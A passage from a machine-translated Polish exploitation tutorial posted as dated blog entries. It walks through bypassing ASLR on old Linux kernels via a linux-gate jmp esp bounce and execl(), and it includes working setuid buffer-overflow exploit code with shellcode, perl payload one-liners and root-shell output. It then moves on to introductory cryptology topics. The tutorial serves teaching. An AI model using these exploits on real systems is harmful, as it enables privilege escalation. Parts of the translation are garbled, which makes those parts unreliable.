0x080483e5 < main+49 >: mov DWORD PTR [esp+4],eax

0x080483e9 < main+53 >: lea eax,[ebp-72]

0x080483ec < main+56 >: mov DWORD PTR [esp],eax

0x080483ef < main+59 >: call 0x80482c4 < strcpy@plt >

0x080483f4 < main+64 >: mov eax,0x1

0x080483f9 < main+69 >: leave

0x080483fa < main+70 >: ret

End of assembler dump.

(gdb) break *0x080483fa

Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12.

(gdb)

Punkt przerwania jest ustawiony na ostatniej instrukcji main. Ta instrukcja zwraca EIP do adresu zwrotnego przechowywanego na stosie. Kiedy exploit nadpisuje adres zwrotny, jest to ostatnia instrukcja, w której oryginalny program ma kontrolę. Spójrzmy na rejestry w tym punkcie kodu, aby zobaczyć kilka różnych przebiegów próbnych.

(gdb) run

Starting program: /home/reader/booksrc/aslr_demo

buffer is at 0xbfa131a0

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12

12 }

(gdb) info registers

eax 0x1 1

ecx 0x0 0

edx 0xb7f000b0 -1209007952

ebx 0xb7efeff4 -1209012236

esp 0xbfa131ec 0xbfa131ec

ebp 0xbfa13248 0xbfa13248

esi 0xb7f29ce0 -1208836896

edi 0x0 0

eip 0x80483fa 0x80483fa < main+70 >

eflags 0x200246 [ PF ZF IF ID ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/aslr_demo

buffer is at 0xbfd8e520

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12

12 }

(gdb) i r esp

esp 0xbfd8e56c 0xbfd8e56c

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/aslr_demo

buffer is at 0xbfaada40

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12

12 }

(gdb) i r esp

esp 0xbfaada8c 0xbfaada8c

(gdb)

Pomimo randomizacji między przebiegami, zauważ, jak podobny jest adres w ESP do adresu bufora (pokazany pogrubioną czcionką). Ma to sens, ponieważ wskaźnik stosu wskazuje stos, a bufor znajduje się na stosie. Wartość ESP i adres bufora są zmieniane przez tę samą losową wartość, ponieważ są one względne dla każdego innego. Polecenie stepi GDB przesuwa program do przodu, wykonując jedną instrukcję. Używając tego, możemy sprawdzić wartość ESP po wykonaniu instrukcji ret.

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/aslr_demo

buffer is at 0xbfd1ccb0

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12

12 }

(gdb) i r esp

esp 0xbfd1ccfc 0xbfd1ccfc

(gdb) stepi

0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6

(gdb) i r esp

esp 0xbfd1cd00 0xbfd1cd00

(gdb) x/24x 0xbfd1ccb0

0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291

0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429

0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4

0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4

0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc

0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898

(gdb) p 0xbfd1cd00 - 0xbfd1ccb0

$1 = 80

(gdb) p 80/4

$2 = 20

(gdb)

Pojedyncze przejście pokazuje, że instrukcja ret zwiększa wartość ESP o 4. Odejmując wartość ESP od adresu bufora, stwierdzamy, że ESP wskazuje 80 bajtów (lub 20 słów) od początku bufora. Ponieważ offset adresu zwrotnego wynosił 19 słów, oznacza to, że po ostatniej instrukcji ret głównej, ESP wskazuje pamięć stosu znalezioną bezpośrednio po adresie zwrotnym. Byłoby to przydatne, gdyby istniał sposób kontrolowania EIP, aby przejść tam, gdzie wskazuje ESP.

Powrót

12.10.2020

Odbijając się od linux-gate

Opisana poniżej technika nie działa w jądrach Linuksa począwszy od wersji 2.6.18. Ta technika zyskała na popularności i, oczywiście, deweloperzy załatali problem. Jądro użyte w dołączonym LiveCD to 2.6.20, więc poniższe dane pochodzą z loki komputera, na którym działa jądro Linux 2.6.17. Nawet jeśli ta konkretna technika nie działa na LiveCD, koncepcje, które się za nią kryją, można zastosować w inny użyteczny sposób. Odbijanie się od linux-gate odnosi się do współdzielonego obiektu, ujawnionego przez jądro, które wygląda jak biblioteka współdzielona. Program ldd pokazuje zależności biblioteki współdzielonej przez program. Czy zauważysz coś ciekawego w bibliotece linux-gate na poniższym wyjściu?

matrix@loki /hacking $ $ uname -a

Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux

matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space

1

matrix@loki /hacking $ ldd ./aslr_demo

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/libc.so.6 (0xb7eb2000)

/lib/ld-linux.so.2 (0xb7fe5000)

matrix@loki /hacking $ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

librt.so.1 => /lib/librt.so.1 (0xb7f95000)

libc.so.6 => /lib/libc.so.6 (0xb7e75000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)

/lib/ld-linux.so.2 (0xb7fb1000)

matrix@loki /hacking $ ldd /bin/ls

linux-gate.so.1 => (0xffffe000)

librt.so.1 => /lib/librt.so.1 (0xb7f50000)

libc.so.6 => /lib/libc.so.6 (0xb7e30000)

libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)

/lib/ld-linux.so.2 (0xb7f6c000)

matrix@loki /hacking $

Nawet w różnych programach i przy włączonym ASLR, linux-gate.so.1 jest zawsze obecny pod tym samym adresem. Jest to wirtualny dynamicznie współużytkowany obiekt używany przez jądro w celu przyspieszenia wywołań systemowych, co oznacza, że jest potrzebny w każdym procesie. Jest ładowany bezpośrednio z jądra i nie istnieje nigdzie na dysku. Ważną rzeczą jest to, że każdy proces ma blok pamięci zawierający instrukcje bramy linux, które są zawsze w tej samej lokalizacji, nawet z ASLR. Przeszukamy tę przestrzeń pamięci pod kątem pewnej instrukcji asemblerowej, jmp esp. Ta instrukcja przeskoczy EIP do miejsca, w którym wskazuje ESP. Najpierw składamy instrukcję, aby zobaczyć, jak to wygląda w kodzie maszynowym.

matrix@loki /hacking $ cat > jmpesp.s

BITS 32

jmp esp

matrix@loki /hacking $ nasm jmpesp.s

matrix@loki /hacking $ hexdump -C jmpesp

00000000 ff e4 |..|

00000002

matrix@loki /hacking $

Korzystając z tych informacji, można napisać prosty program, aby znaleźć ten wzorzec we własnej pamięci programu.

find_jmpesp.c

int main()

{

unsigned long linuxgate_start = 0xffffe000;

char *ptr = (char *) linuxgate_start;

int i;

for(i=0; i < 4096; i++)

{

if(ptr[i] == '\xff' && ptr[i+1] == '\xe4')

printf("found jmp esp at %p\n", ptr+i);

}

}

When the program is compiled and run, it shows that this instruction exists at 0xffffe777. This can be further verified using GDB:

matrix@loki /hacking $ ./find_jmpesp

found jmp esp at 0xffffe777

matrix@loki /hacking $ gdb -q ./aslr_demo

Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7.

(gdb) run

Starting program: /hacking/aslr_demo

Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7

7 printf("buffer is at %p\n", &buffer);

(gdb) x/i 0xffffe777

0xffffe777: jmp esp

(gdb)

Łącząc wszystko, jeśli nadpiszemy adres zwrotny adresem 0xffffe777, wykonanie przejdzie do linux-gate po powrocie funkcji głównej. Ponieważ jest to instrukcja jmp esp, wykonanie natychmiast wyskoczy z linux-gate do miejsca, w którym wskazuje ESP. Z naszego poprzedniego debugowania wiemy, że na końcu głównej funkcji ESP wskazuje na pamięć bezpośrednio po adresie zwrotnym. Jeśli więc zostanie tu umieszczony kod powłoki, EIP powinien odbić się w nim.

matrix@loki /hacking $ sudo chown root:root ./aslr_demo

matrix@loki /hacking $ sudo chmod u+s ./aslr_demo

matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat

scode.bin)

buffer is at 0xbf8d9ae0

sh-3.1#

Ta technika może być również wykorzystana do wykorzystania programu do wyszukiwania nut, jak pokazano tutaj.

matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e "print 'AAAA'x$i");

if [

$? == 139 ]; then echo "Try $i words"; break; fi; done

[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

-------[ end of note data ]-------

*** OUTPUT TRIMMED ***

[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

-------[ end of note data ]-------

Segmentation fault

Try 35 words

matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat

scode.bin)

[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

-------[ end of note data ]-------

Segmentation fault

matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat

scode2.bin)

[DEBUG] found a 34 byte note for user id 1000

[DEBUG] found a 41 byte note for user id 1000

[DEBUG] found a 63 byte note for user id 1000

-------[ end of note data ]-------

sh-3.1#

Początkowy szacunek 35 słów był wyłączony, ponieważ program nadal się rozbijał z nieco mniejszym buforem exploitów. Ale jest w dobrym stanie, więc ręczna korekta (lub dokładniejszy sposób obliczenia przesunięcia) jest wszystkim, czego potrzeba. Jasne, odbijanie się od linux-gate to zręczna sztuczka, ale działa tylko ze starszymi jądrami Linuksa. Powrót na LiveCD, z Linuksem 2.6.20 użyteczna instrukcja nie znajduje się już w zwykłej przestrzeni adresowej.

reader@hacking:~/booksrc $ uname -a

Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux

reader@hacking:~/booksrc $ gcc -o find_jmpesp find_jmpesp.c

reader@hacking:~/booksrc $ ./find_jmpesp

reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c

reader@hacking:~/booksrc $ ./aslr_demo test

buffer is at 0xbfcf3480

reader@hacking:~/booksrc $ ./aslr_demo test

buffer is at 0xbfd39cd0

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo

SHELLCODE will be at 0xbfc8d9c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo

SHELLCODE will be at 0xbfa0c9c3

reader@hacking:~/booksrc $

Bez instrukcji jmp esp pod przewidywalnym adresem nie ma łatwego sposobu na odrzucenie linux-gate. Czy możesz wymyślić sposób na ominięcie ASLR w celu wykorzystania aslr_demo na LiveCD?

Powrót

13.10.2020

Wiedza stosowana

Takie sytuacje sprawiają, że hakowanie to sztuka. Stan bezpieczeństwa komputera jest ciągle zmieniającym się krajobrazem, a konkretne luki są wykrywane i korygowane każdego dnia. Jeśli jednak rozumiesz koncepcje podstawowych technik hakerskich , możesz zastosować je w nowe i pomysłowe sposoby rozwiązania problemu. Podobnie jak klocki LEGO, techniki te można stosować w milionach różnych kombinacji i konfiguracji. Jak w przypadku każdej sztuki, im więcej ćwiczysz te techniki, tym lepiej je zrozumiesz. Z tym zrozumieniem wynika mądrość polegająca na odgadywaniu przesunięć i rozpoznawaniu segmentów pamięci według ich zakresów adresów. W tym przypadku problem nadal występuje w ASLR. Mam nadzieję, że masz kilka pomysłów na obejście, które możesz wypróbować teraz. Nie bój się używać debuggera do sprawdzania, co się dzieje. Prawdopodobnie istnieje kilka sposobów obejścia ASLR i możesz wymyślić nową technikę. Jeśli nie znajdziesz rozwiązania, nie martw się - wyjaśnię metodę w następnej sekcji. Warto jednak pomyśleć o tym problemie samodzielnie, zanim zaczniesz czytać dalej.

Pierwsza próba

Zanim linux-gate został naprawiony w jądrze Linuksa, więc musiałem zhakować razem bypass ASLR. Moją pierwszą myślą było wykorzystanie rodziny funkcji execl (). Korzystamy z funkcji execve () w naszym shellcode, aby wywołać powłokę, i jeśli zwrócisz szczególną uwagę (lub po prostu przeczytasz stronę man), zauważysz, że funkcja execve () zastępuje aktualnie uruchomiony proces nowym obraz procesu.

EXEC(3) Linux Programmer's Manual

NAME

execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS

#include < unistd.h >

extern char **environ;

int execl(const char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg,

..., char * const envp[]);

int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

DESCRIPTION

Rodzina funkcji exec () zastępuje bieżący obraz procesu nowym obrazem procesu. Funkcje opisane na tej stronie podręcznika są front-endami dla funkcji execve (2). Wygląda na to, że może tu być słabość, jeśli układ pamięci jest losowy tylko wtedy, gdy proces jest uruchamiany. Przetestujmy tę hipotezę za pomocą fragmentu kodu, który wypisuje adres zmiennej stosu, a następnie wykonuje aslr_demo za pomocą funkcji execl (). aslr_execl.c

#include < stdio.h >

#include < unistd.h >

int main(int argc, char *argv[]) {

int stack_var;

// Print an address from the current stack frame.

printf("stack_var is at %p\n", &stack_var);

// Start aslr_demo to see how its stack is arranged.

execl("./aslr_demo", "aslr_demo", NULL);

}

Gdy ten program zostanie skompilowany i uruchomiony, wykona () aslr_demo, który również wypisuje adres zmiennej stosu (bufora). Pozwala to porównać układy pamięci.

reader@hacking:~/booksrc $ gcc -o aslr_demo aslr_demo.c

reader@hacking:~/booksrc $ gcc -o aslr_execl aslr_execl.c

reader@hacking:~/booksrc $ ./aslr_demo test

buffer is at 0xbf9f31c0

reader@hacking:~/booksrc $ ./aslr_demo test

buffer is at 0xbffaaf70

reader@hacking:~/booksrc $ ./aslr_execl

stack_var is at 0xbf832044

buffer is at 0xbf832000

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf832044 - 0xbf832000"

$1 = 68

reader@hacking:~/booksrc $ ./aslr_execl

stack_var is at 0xbfa97844

buffer is at 0xbf82f800

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800"

$1 = 2523204

reader@hacking:~/booksrc $ ./aslr_execl

stack_var is at 0xbfbb0bc4

buffer is at 0xbff3e710

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710"

$1 = 4291241140

reader@hacking:~/booksrc $ ./aslr_execl

stack_var is at 0xbf9a81b4

buffer is at 0xbf9a8180

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"

$1 = 52

reader@hacking:~/booksrc $

Pierwszy wynik wygląda bardzo obiecująco, ale kolejne próby pokazują, że występuje pewien stopień randomizacji, gdy nowy proces jest wykonywany za pomocą execl (). Jestem pewien, że nie zawsze tak było, ale postęp open source jest raczej stały. Nie stanowi to jednak większego problemu, ponieważ mamy sposoby radzenia sobie z tą częściową niepewnością.

Powrót

14.10.2020

Grając w szanse

Użycie execl () przynajmniej ogranicza losowość i daje nam zakres adresów ballpark. Pozostałą niepewność można rozwiązać za pomocą sanek NOP. Szybkie sprawdzenie aslr_demo pokazuje, że bufor przepełnienia musi mieć 80 bajtów, aby zastąpić przechowywany adres zwrotny na stosie.

reader@hacking:~/booksrc $ gdb -q ./aslr_demo

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run $(perl -e 'print "AAAA"x19 . "BBBB"')

Starting program: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19 . "BBBB"')

buffer is at 0xbfc7d3b0

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb) p 20*4

$1 = 80

(gdb) quit

The program is running. Exit anyway? (y or n) y

reader@hacking:~/booksrc $

Ponieważ najprawdopodobniej będziemy chcieli mieć dość duże sanki NOP, skorzystaj z NOP sled, a kod powłoki zostanie umieszczony po nadpisaniu adresu zwrotnego. To pozwala nam wstrzyknąć tyle sań NOP, ile potrzeba. W tym przypadku wystarczy tysiąc bajtów.

aslr_execl_exploit.c

#include < stdio.h >

#include < unistd.h >

#include < string.h >

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80"; // Standard shellcode

int main(int argc, char *argv[]) {

unsigned int i, ret, offset;

char buffer[1000];

printf("i is at %p\n", &i);

if(argc > 1) // Set offset.

offset = atoi(argv[1]);

ret = (unsigned int) &i - offset + 200; // Set return address.

printf("ret addr is %p\n", ret);

for(i=0; i < 90; i+=4) // Fill buffer with return address.

*((unsigned int *)(buffer+i)) = ret;

memset(buffer+84, 0x90, 900); // Build NOP sled.

memcpy(buffer+900, shellcode, sizeof(shellcode));

execl("./aslr_demo", "aslr_demo", buffer, NULL);

}

Ten kod powinien mieć dla ciebie sens. Wartość 200 jest dodawana do adresu zwrotnego, aby pominąć pierwsze 90 bajtów użytych do nadpisania, więc wykonanie ląduje gdzieś w sankach NOP.

reader@hacking:~/booksrc $ sudo chown root ./aslr_demo

reader@hacking:~/booksrc $ sudo chmod u+s ./aslr_demo

reader@hacking:~/booksrc $ gcc aslr_execl_exploit.c

reader@hacking:~/booksrc $ ./a.out

i is at 0xbfa3f26c

ret addr is 0xb79f6de4

buffer is at 0xbfa3ee80

Segmentation fault

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80"

$1 = 1004

reader@hacking:~/booksrc $ ./a.out 1004

i is at 0xbfe9b6cc

ret addr is 0xbfe9b3a8

buffer is at 0xbfe9b2e0

sh-3.2# exit

exit

reader@hacking:~/booksrc $ ./a.out 1004

i is at 0xbfb5a38c

ret addr is 0xbfb5a068

buffer is at 0xbfb20760

Segmentation fault

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760"

$1 = 236588

reader@hacking:~/booksrc $ ./a.out 1004

i is at 0xbfce050c

ret addr is 0xbfce01e8

buffer is at 0xbfce0130

sh-3.2# whoami

root

sh-3.2#

Jak widać, od czasu do czasu randomizacja powoduje, że exploit kończy się niepowodzeniem, ale musi się tylko raz udać. Wykorzystuje to fakt, że możemy wypróbować exploita tyle razy, ile chcemy. Ta sama technika będzie działać z exploitem notesearch podczas działania ASLR. Spróbuj napisać exploita, aby to zrobić. Po zrozumieniu podstawowych pojęć wykorzystywania programów możliwe są niezliczone wariacje przy odrobinie kreatywności. Ponieważ reguły programu są definiowane przez jego twórców, wykorzystanie rzekomo bezpiecznego programu to po prostu kwestia pokonania ich we własnej grze. Nowe sprytne metody, takie jak strażnicy stosów i IDS, próbują skompensować te problemy, ale te rozwiązania również nie są idealne. Pomysłowość hakerów ma tendencję do znajdowania dziur w tych systemach. Pomyśl tylko o rzeczach, o których nie myśleli.

Powrót

15.10.2020

KRYPTOLOGIA

Kryptologia jest definiowana jako badanie kryptografii lub kryptoanalizy. Kryptografia to po prostu proces komunikowania się w tajemnicy za pomocą szyfrów, a kryptoanaliza to proces łamania lub odszyfrowywania takich tajnych komunikatów. Historycznie, kryptologia była szczególnie interesująca podczas wojen, kiedy kraje używały tajnych kodów do komunikowania się ze swoimi żołnierzami, próbując jednocześnie złamać kody wroga, aby przeniknąć do ich komunikacji. Aplikacje wojenne wciąż istnieją, ale korzystanie z kryptografii w życiu cywilnym staje się coraz bardziej popularne, ponieważ w Internecie dochodzi do bardziej krytycznych transakcji. Wąchanie sieci jest tak powszechne, że paranoiczne założenie, że ktoś zawsze sniffuje ruch sieciowy, może nie być tak paranoiczne. Hasła, numery kart kredytowych i inne zastrzeżone informacje mogą zostać wykryte i skradzione za pomocą niezaszyfrowanych protokołów. Zaszyfrowane protokoły komunikacyjne zapewniają rozwiązanie tego problemu braku prywatności i umożliwiają funkcjonowanie gospodarki internetowej. Bez szyfrowania Secure Sockets Layer (SSL) transakcje kartą kredytową na popularnych stronach internetowych byłyby bardzo niewygodne lub niebezpieczne. Wszystkie te prywatne dane są chronione przez algorytmy kryptograficzne, które są prawdopodobnie bezpieczne. Obecnie kryptosystemy, które można udowodnić jako bezpieczne, są zbyt nieporęczne do praktycznego zastosowania. Tak więc zamiast matematycznego dowodu bezpieczeństwa wykorzystywane są praktycznie bezpieczne systemy kryptosystemów. Oznacza to, że możliwe jest, że skróty do pokonania tych szyfrów, ale nikt nie był w stanie ich zaktualizować. Oczywiście istnieją również kryptosystemy, które w ogóle nie są bezpieczne. Może to być spowodowane implementacją, rozmiarem klucza lub po prostu kryptoanalitycznymi słabościami samego szyfru. W 1997 r., Zgodnie z prawem Stanów Zjednoczonych, maksymalna dopuszczalna wielkość klucza dla szyfrowania w eksportowanym oprogramowaniu wynosiła 40 bitów. To ograniczenie rozmiaru klucza powoduje, że odpowiadający mu szyfr jest niepewny, jak wykazali RSA Data Security i Ian Goldberg, student z University of California w Berkeley. RSA opublikowało wyzwanie, aby odszyfrować wiadomość zaszyfrowaną 40-bitowym kluczem, a trzy i pół godziny później Ian właśnie to zrobił. Był to mocny dowód na to, że 40-bitowe klucze nie są wystarczająco duże dla bezpiecznego kryptosystemu. Kryptologia ma znaczenie dla hackowania na wiele sposobów. Na najczystszym poziomie wyzwanie rozwiązania zagadki kusi ciekawskich. Na bardziej nikczemnym poziomie, tajne dane chronione przez tę układankę są może jeszcze bardziej pociągające. Łamanie lub obchodzenie kryptograficznych zabezpieczeń tajnych danych może zapewnić pewne poczucie satysfakcji, nie wspominając o sensie zawartości chronionych danych. Ponadto, silna kryptografia jest przydatna w unikaniu wykrywania. Drogie systemy wykrywania włamań sieciowych zaprojektowane do wykrywania ruchu sieciowego pod kątem sygnatur ataków są bezużyteczne, jeśli atakujący używa szyfrowanego kanału komunikacyjnego. Często zaszyfrowany dostęp do Internetu zapewniony dla bezpieczeństwa klienta jest wykorzystywany przez atakujących jako trudny do monitorowania wektor ataku.

Powrót

16.10.2020

Teoria informacji

Wiele koncepcji bezpieczeństwa kryptograficznego wywodzi się z umysłu Claude'a Shannona. Jego pomysły znacznie wpłynęły na dziedzinę kryptografii, zwłaszcza koncepcje dyfuzji i zamieszania. Chociaż następujące koncepcje bezpieczeństwa bezwarunkowego, jednorazowych klocków, kwantowej dystrybucji klucza i bezpieczeństwa obliczeniowego nie zostały w rzeczywistości stworzone przez Shannona, jego pomysły dotyczące idealnej tajemnicy i teorii informacji miały ogromny wpływ na definicje bezpieczeństwa.

Bezwarunkowe bezpieczeństwo

System kryptograficzny jest uważany za bezwarunkowo bezpieczny, jeśli nie można go złamać, nawet przy nieskończonych zasobach obliczeniowych. Oznacza to, że kryptoanaliza jest niemożliwa i nawet gdyby każdy możliwy klucz został wypróbowany w wyczerpującym ataku brute-force, niemożliwe byłoby ustalenie, który klucz był poprawny.

Szyfr z kluczem jednorazowym

Jednym z przykładów bezwarunkowo bezpiecznego kryptosystemu jest pad jednorazowy. Jednorazowy pad to bardzo prosty kryptosystem, który wykorzystuje bloki losowych danych zwanych padami. Pad musi być przynajmniej tak długi jak wiadomość w postaci zwykłego tekstu, która ma być zakodowana, a losowe dane na podkładce muszą być naprawdę losowe, w najbardziej dosłownym znaczeniu tego słowa. Tworzone są dwie identyczne podkładki: jedna dla odbiorcy i jedna dla nadawcy. Aby zakodować wiadomość, nadawca po prostu XORuje każdy bit wiadomości w postaci zwykłego tekstu za pomocą odpowiedniego bitu pada. Po zakodowaniu wiadomości pad zostaje zniszczony, aby upewnić się, że jest używany tylko raz. Następnie zaszyfrowana wiadomość może zostać wysłana do odbiorcy bez obawy o kryptoanalizę, ponieważ zaszyfrowana wiadomość nie może zostać złamana bez podkładki. Gdy odbiorca otrzyma zaszyfrowaną wiadomość, XORsuje również każdy bit zaszyfrowanej wiadomości odpowiednim bitem swojego pada, aby wygenerować oryginalną wiadomość w postaci zwykłego tekstu. Podczas gdy jednorazowy pad jest teoretycznie niemożliwy do złamania, w rzeczywistości nie jest to wcale takie praktyczne. Bezpieczeństwo jednorazowej podkładki zależy od bezpieczeństwa elektrod. Gdy pady są dystrybuowane do odbiorcy i nadawcy, zakłada się, że kanał transmisji padów jest bezpieczny. Aby być naprawdę bezpiecznym, może to obejmować spotkanie twarzą w twarz i wymianę, ale dla wygody transmisja pada może być ułatwiona dzięki jeszcze jednemu szyfrowi. Cena tej wygody polega na tym, że cały system jest teraz tak silny, jak najsłabsze ogniwo, którym byłby szyfr używany do przesyłania padów. Ponieważ pad składa się z losowych danych o tej samej długości, co komunikat w postaci zwykłego tekstu, a ponieważ bezpieczeństwo całego systemu jest tak dobre, jak bezpieczeństwo transmisji padów, zazwyczaj bardziej sensowne jest wysyłanie wiadomości w postaci zwykłego tekstu zakodowanej przy użyciu tego samego szyfr, który byłby użyty do transmisji kodu.

Powrót

17.10.2020

Dystrybucja kluczy kwantowych

Pojawienie się obliczeń kwantowych wprowadza wiele interesujących rzeczy w dziedzinie kryptologii. Jednym z nich jest praktyczna implementacja jednorazowego padu, możliwa dzięki kwantowej dystrybucji kluczy. Tajemnica splątania kwantowego może dostarczyć niezawodnej i tajnej metody wysyłania losowego ciągu bitów, który można wykorzystać jako klucz. Odbywa się to za pomocą nieortogonalnych stanów kwantowych w fotonach. Bez wchodzenia w zbyt wiele szczegółów polaryzacja fotonu jest kierunkiem oscylacji jego pola elektrycznego, które w tym przypadku może być wzdłuż poziomej, pionowej lub jednej z dwóch przekątnych. Nonorthogonal oznacza po prostu, że stany są oddzielone kątem, który nie jest równy 90 stopni. Co ciekawe, niemożliwe jest ustalenie z całą pewnością, która z tych czterech polaryzacji ma jeden foton. Prostoliniowa podstawa polaryzacji poziomej i pionowej jest niekompatybilna z podstawą diagonalną dwóch polaryzacji diagonalnych, więc z uwagi na zasadę nieoznaczoności Heisenberga te dwa zestawy polaryzacji nie mogą być mierzone. Filtry mogą być używane do pomiaru polaryzacji - jeden dla podstawy prostoliniowej i jeden dla podstawy diagonalnej. Gdy foton przechodzi przez właściwy filtr, jego polaryzacja nie zmieni się, ale jeśli przejdzie przez nieprawidłowy filtr, jego polaryzacja zostanie losowo zmodyfikowana. Oznacza to, że każda próba podsłuchu zmierzająca do polaryzacji fotonu ma duże szanse na zmieszanie danych, przez co jest oczywiste, że kanał nie jest bezpieczny. Te dziwne aspekty mechaniki kwantowej zostały dobrze wykorzystane przez Charlesa Bennetta i Gillesa Brassarda w pierwszym i prawdopodobnie najlepiej znanym schemacie dystrybucji klucza kwantowego o nazwie BB84. Po pierwsze, nadawca i odbiorca zgadzają się na reprezentację bitową dla czterech polaryzacji, tak że każda podstawa ma zarówno 1, jak i 0. W tym schemacie 1 może być reprezentowany zarówno przez polaryzację pionową fotonu, jak i jedną z polaryzacji diagonalnych (dodatnią 45 stopni), podczas gdy 0 może być reprezentowane przez polaryzację poziomą, a druga polaryzacja diagonalna (45 stopni). W ten sposób 1s i 0s mogą istnieć, gdy mierzona jest polaryzacja prostoliniowa i gdy mierzona jest polaryzacja diagonalna. Następnie nadawca wysyła strumień losowych fotonów, z których każdy pochodzi z losowo wybranej podstawy (prostoliniowej lub diagonalnej), i te fotony są rejestrowane. Gdy odbiornik otrzymuje foton, losowo wybiera również pomiar w oparciu o prostoliniową podstawę lub diagonalną i rejestruje wynik. Teraz obie strony publicznie porównują, z której bazy korzystały dla każdego fotonu, i zachowują tylko dane odpowiadające fotonom, które mierzyły przy użyciu tej samej podstawy. Nie ujawnia to wartości bitowych fotonów, ponieważ w każdej bazie są zarówno 1s, jak i 0s. Tworzy to klucz do jednorazowego pada. Ponieważ podsłuchiwacz ostatecznie zmieniłby polaryzację niektórych z tych fotonów, a tym samym szyfruj dane, podsłuchiwanie może być wykryte przez obliczenie stopy błędu jakiegoś losowego podzbioru klucza. Jeśli jest zbyt wiele błędów, ktoś prawdopodobnie podsłuchuje, a klucz należy wyrzucić. Jeśli nie, transmisja kluczowych danych była bezpieczna i prywatna.

Powrót

18.10.2020

Bezpieczeństwo obliczeniowe

Kryptosystem uważany jest za bezpieczny obliczeniowo, jeśli najbardziej znany algorytm do łamania wymaga nieuzasadnionej ilości zasobów obliczeniowych i czasu. Oznacza to, że teoretycznie możliwe jest złamanie szyfrowania przez podsłuchującego, ale w rzeczywistości jest to praktycznie niemożliwe, ponieważ ilość czasu i potrzebnych zasobów znacznie przekroczyłaby wartość zaszyfrowanych informacji. Zwykle czas potrzebny do złamania bezpiecznego systemu obliczeniowego jest mierzony w dziesiątkach tysięcy lat, nawet przy założeniu szerokiego wachlarza zasobów obliczeniowych. Większość nowoczesnych kryptosystemów należy do tej kategorii. Należy zauważyć, że najbardziej znane algorytmy łamania kryptosystemów zawsze ewoluują i są ulepszane. Idealnie, kryptosystem byłby zdefiniowany jako bezpieczny obliczeniowo, jeśli najlepszy algorytm do łamania wymaga nieuzasadnionej ilości zasobów obliczeniowych i czasu, ale obecnie nie ma sposobu na udowodnienie, że dany algorytm łamania szyfrowania jest i zawsze będzie najlepszy . Tak więc obecny najbardziej znany algorytm jest używany zamiast mierzenia bezpieczeństwa kryptosystemu

Powrót

19.10.2020

Algorytmiczny czas pracy

